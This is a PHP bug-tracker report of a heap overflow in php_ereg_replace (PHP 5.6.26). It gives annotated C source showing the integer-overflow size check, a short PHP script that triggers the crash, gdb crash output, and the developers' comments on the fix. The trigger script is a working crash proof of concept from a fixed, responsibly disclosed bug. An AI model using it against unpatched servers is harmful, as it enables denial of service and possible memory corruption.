php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73284 heap overflow in php_ereg_replace function
Submitted: 2016-10-10 14:50 UTC Modified: 2017-02-13 01:08 UTC
From: nguyenluan dot vnn at gmail dot com Assigned: stas
Status: Closed Package: Regexps related
PHP Version: 5.6.26 OS:
Private report: No CVE-ID:
 [2016-10-10 14:50 UTC] nguyenluan dot vnn at gmail dot com
Description:
------------
In function php_ereg_replace:

PHP_EREG_API char *php_ereg_replace(const char *pattern, const char *replace, const char *string, int icase, int extended TSRMLS_DC)
{
	regex_t re;
	regmatch_t *subs;

	char *buf,	/* buf is where we build the replaced string */
		 *nbuf,	/* nbuf is used when we grow the buffer */
		 *walkbuf; /* used to walk buf when replacing backrefs */
	const char *walk; /* used to walk replacement string for backrefs */
	int buf_len;
	int pos, tmp, string_len, new_l;
	int err, copts = 0;

	...
	...

	/* start with a buffer that is twice the size of the stringo
	   we're doing replacements in */
	buf_len = 2 * string_len + 1;
	buf = safe_emalloc(buf_len, sizeof(char), 0); // (1) alloc memory

	...
	...

			if (new_l + 1 > buf_len) {  // (2) FAIL check if new_l = 0x7fffffff due to integer overflow
				buf_len = 1 + buf_len + 2 * new_l;
				nbuf = emalloc(buf_len);  // (3) this line is never reached if new_l = 0x7fffffff
				strncpy(nbuf, buf, buf_len - 1);
				nbuf[buf_len - 1] = '\0';
				efree(buf);
				buf = nbuf;
			}
			tmp = strlen(buf);
			/* copy the part of the string before the match */
			strncat(buf, &string[pos], subs[0].rm_so);

			/* copy replacement and backrefs */
			walkbuf = &buf[tmp + subs[0].rm_so];
			walk = replace;
			while (*walk) {
				if ('\\' == *walk && isdigit((unsigned char)walk[1]) && (unsigned char)walk[1] - '0' <= (int)re.re_nsub) {
					if (subs[walk[1] - '0'].rm_so > -1 && subs[walk[1] - '0'].rm_eo > -1
						/* this next case shouldn't happen. it does. */
						&& subs[walk[1] - '0'].rm_so <= subs[walk[1] - '0'].rm_eo) {
						
						tmp = subs[walk[1] - '0'].rm_eo - subs[walk[1] - '0'].rm_so;
						memcpy (walkbuf, &string[pos + subs[walk[1] - '0'].rm_so], tmp);
						walkbuf += tmp;
					}
					walk += 2;
				} else {
					*walkbuf++ = *walk++;  // (4) heap overflow here
				}
			}
        ...
        ...
}

If variable new_l = 0x7fffffff, the check "if (new_l + 1 > buf_len)" will fail  because of integer overflow and realloc new memory for output buffer is never operated. This will cause heap overflow when PHP try to copy replacement string later.

Test script:
---------------
<?php
    ini_set('memory_limit', -1);

    $str = 'b'.str_repeat('a', 30);
    $str1 = str_repeat('C', 0x80000000 - 1);
    $str2 = ereg_replace("b", $str1, $str);
?>

Expected result:
----------------
No crash.

Actual result:
--------------
gdb-peda$ r ../test/test_replace.php 
Starting program: /home/user/Desktop/php-5.6.26/sapi/cli/php ../test/test_replace.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.



 [----------------------------------registers-----------------------------------]
RAX: 0x7ffff7fe2000 
RBX: 0xac5cf0 (<execute_ex>:	push   rbp)
RCX: 0x7ffeecbc2ec1 ('C' <repeats 200 times>...)
RDX: 0x43 ('C')
RSI: 0x7ffff7fbe138 ("b", 'a' <repeats 30 times>)
RDI: 0x7ffff7fbe1b0 ('C' <repeats 200 times>...)
RBP: 0x7fffffffa6a0 --> 0x7fffffffa750 --> 0x7fffffffa780 --> 0x7fffffffa7f0 --> 0x7fffffffa830 --> 0x7fffffffa860 (--> ...)
RSP: 0x7fffffffa5f0 --> 0x1 
RIP: 0x4957ce (<php_ereg_replace+1600>:	mov    BYTE PTR [rax],dl)
R8 : 0x0 
R9 : 0x7ffff7fbe1b0 ('C' <repeats 200 times>...)
R10: 0x5e3 
R11: 0x7ffff3dd36b0 (<__strncat_sse2_unaligned>:	mov    r9,rdi)
R12: 0x441d00 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1b0 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4957c3 <php_ereg_replace+1589>:	lea    rcx,[rdx+0x1]
   0x4957c7 <php_ereg_replace+1593>:	mov    QWORD PTR [rbp-0x58],rcx
   0x4957cb <php_ereg_replace+1597>:	movzx  edx,BYTE PTR [rdx]
=> 0x4957ce <php_ereg_replace+1600>:	mov    BYTE PTR [rax],dl
   0x4957d0 <php_ereg_replace+1602>:	mov    rax,QWORD PTR [rbp-0x58]
   0x4957d4 <php_ereg_replace+1606>:	movzx  eax,BYTE PTR [rax]
   0x4957d7 <php_ereg_replace+1609>:	test   al,al
   0x4957d9 <php_ereg_replace+1611>:	jne    0x4955fa <php_ereg_replace+1132>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffa5f0 --> 0x1 
0008| 0x7fffffffa5f8 --> 0x7ffff7fbe138 ("b", 'a' <repeats 30 times>)
0016| 0x7fffffffa600 --> 0x7ffeecb9f070 ('C' <repeats 200 times>...)
0024| 0x7fffffffa608 --> 0x7ffff7fbf3a8 ('C' <repeats 200 times>...)
0032| 0x7fffffffa610 --> 0x348 
0040| 0x7fffffffa618 --> 0x3ff7fbe158 
0048| 0x7fffffffa620 --> 0x7fffffff00000000 
0056| 0x7fffffffa628 --> 0x100000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004957ce in php_ereg_replace (
    pattern=0x7ffff7fbf3a8 'C' <repeats 200 times>..., 
    replace=0x7ffeecb9f070 'C' <repeats 200 times>..., 
    string=0x7ffff7fbe138 "b", 'a' <repeats 30 times>, icase=0x0, extended=0x1)
    at /home/user/Desktop/php-5.6.26/ext/ereg/ereg.c:501
501						*walkbuf++ = *walk++;

gdb-peda$ p buf
$1 = 0x7ffff7fbe1b0 'C' <repeats 200 times>...

gdb-peda$ p walkbuf
$2 = 0x7ffff7fe2001 <error: Cannot access memory at address 0x7ffff7fe2001>

gdb-peda$ p walkbuf - buf
$3 = 0x23e51

gdb-peda$ bt
#0  0x00000000004957ce in php_ereg_replace (
    pattern=0x7ffff7fbf3a8 'C' <repeats 200 times>..., 
    replace=0x7ffeecb9f070 'C' <repeats 200 times>..., 
    string=0x7ffff7fbe138 "b", 'a' <repeats 30 times>, icase=0x0, extended=0x1)
    at /home/user/Desktop/php-5.6.26/ext/ereg/ereg.c:501
#1  0x0000000000495fa9 in php_do_ereg_replace (ht=0x3, 
    return_value=0x7ffff7fbc478, return_value_ptr=0x7ffff7f85208, 
    this_ptr=0x0, return_value_used=0x1, icase=0x0)
    at /home/user/Desktop/php-5.6.26/ext/ereg/ereg.c:597
#2  0x00000000004961fe in zif_ereg_replace (ht=0x3, 
    return_value=0x7ffff7fbc478, return_value_ptr=0x7ffff7f85208, 
    this_ptr=0x0, return_value_used=0x1)
    at /home/user/Desktop/php-5.6.26/ext/ereg/ereg.c:615
#3  0x0000000000ac66e8 in zend_do_fcall_common_helper_SPEC (
    execute_data=0x7ffff7f85300)
    at /home/user/Desktop/php-5.6.26/Zend/zend_vm_execute.h:558
#4  0x0000000000acc213 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (
    execute_data=0x7ffff7f85300)
    at /home/user/Desktop/php-5.6.26/Zend/zend_vm_execute.h:2602
#5  0x0000000000ac5d50 in execute_ex (execute_data=0x7ffff7f85300)
    at /home/user/Desktop/php-5.6.26/Zend/zend_vm_execute.h:363
#6  0x0000000000ac5dd7 in zend_execute (op_array=0x7ffff7fbd430)
    at /home/user/Desktop/php-5.6.26/Zend/zend_vm_execute.h:388
#7  0x0000000000a7e415 in zend_execute_scripts (type=0x8, retval=0x0, 
    file_count=0x3) at /home/user/Desktop/php-5.6.26/Zend/zend.c:1341
#8  0x00000000009df6d4 in php_execute_script (primary_file=0x7fffffffcd80)
    at /home/user/Desktop/php-5.6.26/main/main.c:2613
#9  0x0000000000b3b4d3 in do_cli (argc=0x2, argv=0x1434560)
    at /home/user/Desktop/php-5.6.26/sapi/cli/php_cli.c:994
#10 0x0000000000b3c836 in main (argc=0x2, argv=0x1434560)
    at /home/user/Desktop/php-5.6.26/sapi/cli/php_cli.c:1378
#11 0x00007ffff3d4b830 in __libc_start_main (main=0xb3c019 <main>, argc=0x2, 
    argv=0x7fffffffe1b8, init=<optimized out>, fini=<optimized out>, 
    rtld_fini=<optimized out>, stack_end=0x7fffffffe1a8)
    at ../csu/libc-start.c:291
#12 0x0000000000441d29 in _start ()


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-10-11 21:18 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-10-11 21:18 UTC] stas@php.net
The fix is in security repo as 21452a5401e9c7e34227b9241495f5839cfc3234 and in https://gist.github.com/282a748d68c226dbb86ab616d11cfc20

please verify
 [2016-10-11 23:45 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=21452a5401e9c7e34227b9241495f5839cfc3234
Log: Fix bug #73284 - heap overflow in php_ereg_replace function
 [2016-10-11 23:45 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-10-12 23:35 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=21452a5401e9c7e34227b9241495f5839cfc3234
Log: Fix bug #73284 - heap overflow in php_ereg_replace function
 [2016-10-14 02:23 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=21452a5401e9c7e34227b9241495f5839cfc3234
Log: Fix bug #73284 - heap overflow in php_ereg_replace function
 [2016-10-17 10:07 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=21452a5401e9c7e34227b9241495f5839cfc3234
Log: Fix bug #73284 - heap overflow in php_ereg_replace function
 [2017-02-13 01:08 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Mon Apr 24 15:01:45 2017 UTC